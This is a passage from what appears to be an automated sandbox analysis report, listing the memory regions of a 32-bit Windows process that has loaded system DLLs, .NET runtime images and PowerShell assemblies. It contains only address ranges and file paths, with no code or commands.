	          end_va = 0x6b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006b0000"
	        filename = ""

Region:
	              id = 634
	        start_va = 0x6c0000
	          end_va = 0x6c1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006c0000"
	        filename = ""

Region:
	              id = 635
	        start_va = 0x1d50000
	          end_va = 0x201efff
	     entry_point = 0x1d50000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 636
	        start_va = 0x2090000
	          end_va = 0x20cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002090000"
	        filename = ""

Region:
	              id = 637
	        start_va = 0x20e0000
	          end_va = 0x211ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000020e0000"
	        filename = ""

Region:
	              id = 638
	        start_va = 0x71400000
	          end_va = 0x714f4fff
	     entry_point = 0x71400000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll")

Region:
	              id = 639
	        start_va = 0x74870000
	          end_va = 0x74a0dfff
	     entry_point = 0x74870000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")

Region:
	              id = 640
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 641
	        start_va = 0x71360000
	          end_va = 0x71380fff
	     entry_point = 0x71360000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll")

Region:
	              id = 642
	        start_va = 0x76420000
	          end_va = 0x76464fff
	     entry_point = 0x76420000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll")

Region:
	              id = 643
	        start_va = 0x6e0000
	          end_va = 0x6fefff
	     entry_point = 0x6e0000
	     region_type = mapped_file
	            name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000010.db"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000010.db" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000010.db")

Region:
	              id = 644
	        start_va = 0x700000
	          end_va = 0x700fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000700000"
	        filename = ""

Region:
	              id = 645
	        start_va = 0x2120000
	          end_va = 0x2512fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002120000"
	        filename = ""

Region:
	              id = 646
	        start_va = 0x759b0000
	          end_va = 0x759d6fff
	     entry_point = 0x759b0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")

Region:
	              id = 647
	        start_va = 0x75b30000
	          end_va = 0x75b41fff
	     entry_point = 0x75b30000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll")

Region:
	              id = 648
	        start_va = 0x760c0000
	          end_va = 0x7625cfff
	     entry_point = 0x760c0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll")

Region:
	              id = 649
	        start_va = 0x2520000
	          end_va = 0x261ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002520000"
	        filename = ""

Region:
	              id = 650
	        start_va = 0x71310000
	          end_va = 0x7135bfff
	     entry_point = 0x71310000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")

Region:
	              id = 651
	        start_va = 0x709b0000
	          end_va = 0x709ddfff
	     entry_point = 0x709b0000
	     region_type = mapped_file
	            name = "shdocvw.dll"
	        filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll")

Region:
	              id = 652
	        start_va = 0x750000
	          end_va = 0x78ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000750000"
	        filename = ""

Region:
	              id = 653
	        start_va = 0x7f0000
	          end_va = 0x82ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007f0000"
	        filename = ""

Region:
	              id = 654
	        start_va = 0x2020000
	          end_va = 0x205ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002020000"
	        filename = ""

Region:
	              id = 655
	        start_va = 0x26a0000
	          end_va = 0x26dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000026a0000"
	        filename = ""

Region:
	              id = 656
	        start_va = 0x70c20000
	          end_va = 0x70c28fff
	     entry_point = 0x70c20000
	     region_type = mapped_file
	            name = "linkinfo.dll"
	        filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll")

Region:
	              id = 657
	        start_va = 0x7efad000
	          end_va = 0x7efaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efad000"
	        filename = ""

Region:
	              id = 658
	        start_va = 0x7efd5000
	          end_va = 0x7efd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd5000"
	        filename = ""

Region:
	              id = 659
	        start_va = 0x70c70000
	          end_va = 0x70cdffff
	     entry_point = 0x70c70000
	     region_type = mapped_file
	            name = "ntshrui.dll"
	        filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll")

Region:
	              id = 660
	        start_va = 0x70c50000
	          end_va = 0x70c68fff
	     entry_point = 0x70c50000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll")

Region:
	              id = 661
	        start_va = 0x2640000
	          end_va = 0x267ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002640000"
	        filename = ""

Region:
	              id = 662
	        start_va = 0x2740000
	          end_va = 0x277ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002740000"
	        filename = ""

Region:
	              id = 663
	        start_va = 0x70c40000
	          end_va = 0x70c4afff
	     entry_point = 0x70c40000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll")

Region:
	              id = 664
	        start_va = 0x7efaa000
	          end_va = 0x7efacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efaa000"
	        filename = ""

Region:
	              id = 665
	        start_va = 0x70c30000
	          end_va = 0x70c39fff
	     entry_point = 0x70c30000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll")

Region:
	              id = 666
	        start_va = 0x74460000
	          end_va = 0x74475fff
	     entry_point = 0x74460000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 667
	        start_va = 0x74420000
	          end_va = 0x7445afff
	     entry_point = 0x74420000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 668
	        start_va = 0x745a0000
	          end_va = 0x74619fff
	     entry_point = 0x745a0000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 669
	        start_va = 0x6d0000
	          end_va = 0x6d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006d0000"
	        filename = ""

Region:
	              id = 670
	        start_va = 0x7a0000
	          end_va = 0x7dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007a0000"
	        filename = ""

Region:
	              id = 671
	        start_va = 0x6f050000
	          end_va = 0x6f5fafff
	     entry_point = 0x6f050000
	     region_type = mapped_file
	            name = "mscorwks.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")

Region:
	              id = 672
	        start_va = 0x74cb0000
	          end_va = 0x74d4afff
	     entry_point = 0x74cb0000
	     region_type = mapped_file
	            name = "msvcr80.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")

Region:
	              id = 673
	        start_va = 0x790000
	          end_va = 0x790fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000790000"
	        filename = ""

Region:
	              id = 674
	        start_va = 0x830000
	          end_va = 0x830fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000830000"
	        filename = ""

Region:
	              id = 675
	        start_va = 0x840000
	          end_va = 0x84ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000840000"
	        filename = ""

Region:
	              id = 676
	        start_va = 0x850000
	          end_va = 0x85ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000850000"
	        filename = ""

Region:
	              id = 677
	        start_va = 0x2060000
	          end_va = 0x206ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002060000"
	        filename = ""

Region:
	              id = 678
	        start_va = 0x2070000
	          end_va = 0x207ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002070000"
	        filename = ""

Region:
	              id = 679
	        start_va = 0x2080000
	          end_va = 0x208ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002080000"
	        filename = ""

Region:
	              id = 680
	        start_va = 0x20d0000
	          end_va = 0x20dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000020d0000"
	        filename = ""

Region:
	              id = 681
	        start_va = 0x2780000
	          end_va = 0x281ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002780000"
	        filename = ""

Region:
	              id = 682
	        start_va = 0x2860000
	          end_va = 0x286ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002860000"
	        filename = ""

Region:
	              id = 683
	        start_va = 0x2890000
	          end_va = 0x28cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002890000"
	        filename = ""

Region:
	              id = 684
	        start_va = 0x2930000
	          end_va = 0x296ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002930000"
	        filename = ""

Region:
	              id = 685
	        start_va = 0x2970000
	          end_va = 0x496ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002970000"
	        filename = ""

Region:
	              id = 686
	        start_va = 0x4a20000
	          end_va = 0x4a5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a20000"
	        filename = ""

Region:
	              id = 687
	        start_va = 0x4af0000
	          end_va = 0x4b2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004af0000"
	        filename = ""

Region:
	              id = 688
	        start_va = 0x6de00000
	          end_va = 0x6e8f7fff
	     entry_point = 0x6de00000
	     region_type = mapped_file
	            name = "mscorlib.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")

Region:
	              id = 689
	        start_va = 0x7efa4000
	          end_va = 0x7efa6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa4000"
	        filename = ""

Region:
	              id = 690
	        start_va = 0x7efa7000
	          end_va = 0x7efa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa7000"
	        filename = ""

Region:
	              id = 691
	        start_va = 0x2620000
	          end_va = 0x262ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002620000"
	        filename = ""

Region:
	              id = 692
	        start_va = 0x4b30000
	          end_va = 0x4e11fff
	     entry_point = 0x4b30000
	     region_type = mapped_file
	            name = "system.management.automation.dll"
	        filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")

Region:
	              id = 693
	        start_va = 0x6d660000
	          end_va = 0x6ddfbfff
	     entry_point = 0x6d660000
	     region_type = mapped_file
	            name = "system.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")

Region:
	              id = 694
	        start_va = 0x754a0000
	          end_va = 0x75520fff
	     entry_point = 0x754a0000
	     region_type = mapped_file
	            name = "microsoft.powershell.consolehost.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\b1c511d8fad78ad3c5213b2b4fb02b8b\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\b1c511d8fad78ad3c5213b2b4fb02b8b\\microsoft.powershell.consolehost.ni.dll")

Region:
	              id = 695
	        start_va = 0x6cde0000
	          end_va = 0x6d659fff
	     entry_point = 0x6cde0000
	     region_type = mapped_file
	            name = "system.management.automation.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management.a#\\4436815b432c313255af322f4ec3560d\\system.management.automation.ni.dll")

Region:
	              id = 696
	        start_va = 0x74850000
	          end_va = 0x74858fff
	     entry_point = 0x74850000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")

Region:
	              id = 697
	        start_va = 0x751b0000
	          end_va = 0x75491fff
	     entry_point = 0x751b0000
	     region_type = mapped_file
	            name = "system.management.automation.dll"
	        filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")

Region:
	              id = 698
	        start_va = 0x751b0000
	          end_va = 0x75491fff
	     entry_point = 0x751b0000
	     region_type = mapped_file
	            name = "system.management.automation.dll"
	        filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")

Region:
	              id = 699
	        start_va = 0x2630000
	          end_va = 0x2632fff
	     entry_point = 0x2630000
	     region_type = mapped_file
	            name = "l_intl.nls"
	        filename = "\\Windows\\SysWOW64\\l_intl.nls" (normalized: "c:\\windows\\syswow64\\l_intl.nls")

Region:
	              id = 700
	        start_va = 0x4e20000
	          end_va = 0x4edffff
	     entry_point = 0x4e20000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui")

Region:
	              id = 701
	        start_va = 0x77650000
	          end_va = 0x77654fff
	     entry_point = 0x77650000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")

Region:
	              id = 702
	        start_va = 0x2680000
	          end_va = 0x2680fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002680000"
	        filename = ""

Region:
	              id = 703
	        start_va = 0x2690000
	          end_va = 0x2694fff
	     entry_point = 0x2690000
	     region_type = mapped_file
	            name = "sorttbls.nlp"
	        filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp")

Region:
	              id = 704
	        start_va = 0x26e0000
	          end_va = 0x2720fff
	     entry_point = 0x26e0000
	     region_type = mapped_file
	            name = "sortkey.nlp"
	        filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp")

Region:
	              id = 705
	        start_va = 0x751b0000
	          end_va = 0x75491fff
	     entry_point = 0x751b0000
	     region_type = mapped_file
	            name = "system.management.automation.dll"
	        filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")

Region:
	              id = 706
	        start_va = 0x751b0000
	          end_va = 0x75491fff
	     entry_point = 0x751b0000
	     region_type = mapped_file
	            name = "system.management.automation.dll"
	        filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")

Region:
	              id = 707
	        start_va = 0x2730000
	          end_va = 0x2737fff
	     entry_point = 0x2730000
	     region_type = mapped_file
	            name = "microsoft.wsman.runtime.dll"
	        filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll")

Region:
	              id = 708
	        start_va = 0x2820000
	          end_va = 0x2820fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002820000"
	        filename = ""

Region:
	              id = 709
	        start_va = 0x28d0000
	          end_va = 0x2912fff
	     entry_point = 0x28d0000
	     region_type = mapped_file
	            name = "system.transactions.dll"
	        filename = "\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll")

Region:
	              id = 710
	        start_va = 0x67aa0000
	          end_va = 0x67ae2fff
	     entry_point = 0x67aa0000
	     region_type = mapped_file
	            name = "system.transactions.dll"
	        filename = "\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll")

Region:
	              id = 711
	        start_va = 0x6fb40000
	          end_va = 0x6fd74fff
	     entry_point = 0x6fb40000
	     region_type = mapped_file
	            name = "system.core.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.core\\fbc05b5b05dc6366b02b8e2f77d080f1\\system.core.ni.dll")

Region:
	              id = 712
	        start_va = 0x6fe50000
	          end_va = 0x6feebfff
	     entry_point = 0x6fe50000
	     region_type = mapped_file
	            name = "system.transactions.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.transactions\\ad18f93fc713db2c4b29b25116c13bd8\\system.transactions.ni.dll")

Region:
	              id = 713
	        start_va = 0x70b70000
	          end_va = 0x70bf4fff
	     entry_point = 0x70b70000
	     region_type = mapped_file
	            name = "microsoft.wsman.management.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\ee28a075665b6bc23b6dae56903d431d\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.wsman.man#\\ee28a075665b6bc23b6dae56903d431d\\microsoft.wsman.management.ni.dll")

Region:
	              id = 714
	        start_va = 0x75130000
	          end_va = 0x75154fff
	     entry_point = 0x75130000
	     region_type = mapped_file
	            name = "system.configuration.install.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuratio#\\f02737c83305687a68c088927a6c5a98\\system.configuration.install.ni.dll")

Region:
	              id = 715
	        start_va = 0x75160000
	          end_va = 0x751aafff
	     entry_point = 0x75160000
	     region_type = mapped_file
	            name = "microsoft.powershell.commands.diagnostics.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\4f68cd04686e5dc5a55070d112d44bdf\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\4f68cd04686e5dc5a55070d112d44bdf\\microsoft.powershell.commands.diagnostics.ni.dll")

Region:
	              id = 716
	        start_va = 0x2830000
	          end_va = 0x2830fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002830000"
	        filename = ""

Region:
	              id = 717
	        start_va = 0x60340000
	          end_va = 0x60347fff
	     entry_point = 0x60340000
	     region_type = mapped_file
	            name = "culture.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\culture.dll")

Region:
	              id = 718
	        start_va = 0x6f780000
	          end_va = 0x6f91dfff
	     entry_point = 0x6f780000
	     region_type = mapped_file
	            name = "microsoft.powershell.commands.utility.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\3008a05e2928e2c1d856cc34e0422c17\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\3008a05e2928e2c1d856cc34e0422c17\\microsoft.powershell.commands.utility.ni.dll")

Region:
	              id = 719
	        start_va = 0x6fa70000
	          end_va = 0x6fb32fff
	     entry_point = 0x6fa70000
	     region_type = mapped_file
	            name = "microsoft.powershell.commands.management.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\8df695fb80187f65208d87229e81e8a2\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\8df695fb80187f65208d87229e81e8a2\\microsoft.powershell.commands.management.ni.dll")

Region:
	              id = 720
	        start_va = 0x6fe20000
	          end_va = 0x6fe4cfff
	     entry_point = 0x6fe20000
	     region_type = mapped_file
	            name = "microsoft.powershell.security.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\8ce205027e30804d1b2deaffa0582735\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\8ce205027e30804d1b2deaffa0582735\\microsoft.powershell.security.ni.dll")

Region:
	              id = 721
	        start_va = 0x2830000
	          end_va = 0x283ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002830000"
	        filename = ""

Region:
	              id = 722
	        start_va = 0x4970000
	          end_va = 0x49c3fff
	     entry_point = 0x4970000
	     region_type = mapped_file
	            name = "mscorrc.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorrc.dll")

Region:
	              id = 723
	        start_va = 0x6e920000
	          end_va = 0x6ea33fff
	     entry_point = 0x6e920000
	     region_type = mapped_file
	            name = "system.directoryservices.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.directoryser#\\45ec12795950a7d54691591c615a9e3c\\system.directoryservices.ni.dll")

Region:
	              id = 724
	        start_va = 0x6eb10000
	          end_va = 0x6f045fff
	     entry_point = 0x6eb10000
	     region_type = mapped_file
	            name = "system.xml.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")

Region:
	              id = 725
	        start_va = 0x6f670000
	          end_va = 0x6f773fff
	     entry_point = 0x6f670000
	     region_type = mapped_file
	            name = "system.management.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")

Region:
	              id = 726
	        start_va = 0x75110000
	          end_va = 0x75114fff
	     entry_point = 0x75110000
	     region_type = mapped_file
	            name = "shfolder.dll"
	        filename = "\\Windows\\SysWOW64\\shfolder.dll" (normalized: "c:\\windows\\syswow64\\shfolder.dll")

Region:
	              id = 727
	        start_va = 0x2840000
	          end_va = 0x2850fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002840000"
	        filename = ""

Region:
	              id = 728
	        start_va = 0x2870000
	          end_va = 0x287ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002870000"
	        filename = ""

Region:
	              id = 729
	        start_va = 0x2880000
	          end_va = 0x288ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002880000"
	        filename = ""

Region:
	              id = 730
	        start_va = 0x2920000
	          end_va = 0x292ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002920000"
	        filename = ""

Region:
	              id = 731
	        start_va = 0x49d0000
	          end_va = 0x49dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000049d0000"
	        filename = ""

Region:
	              id = 732
	        start_va = 0x49e0000
	          end_va = 0x49effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000049e0000"
	        filename = ""

Region:
	              id = 733
	        start_va = 0x49f0000
	          end_va = 0x49fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000049f0000"
	        filename = ""

Region:
	              id = 734
	        start_va = 0x4a00000
	          end_va = 0x4a0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a00000"
	        filename = ""

Region:
	              id = 735
	        start_va = 0x4a10000
	          end_va = 0x4a1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a10000"
	        filename = ""

Region:
	              id = 736
	        start_va = 0x70c10000
	          end_va = 0x70c17fff
	     entry_point = 0x70c10000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll")

Region:
	              id = 737
	        start_va = 0x4a60000
	          end_va = 0x4adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a60000"
	        filename = ""

Region:
	              id = 738
	        start_va = 0x4ae0000
	          end_va = 0x4aeffff
	     entry_point = 0x0
	     region_type = private
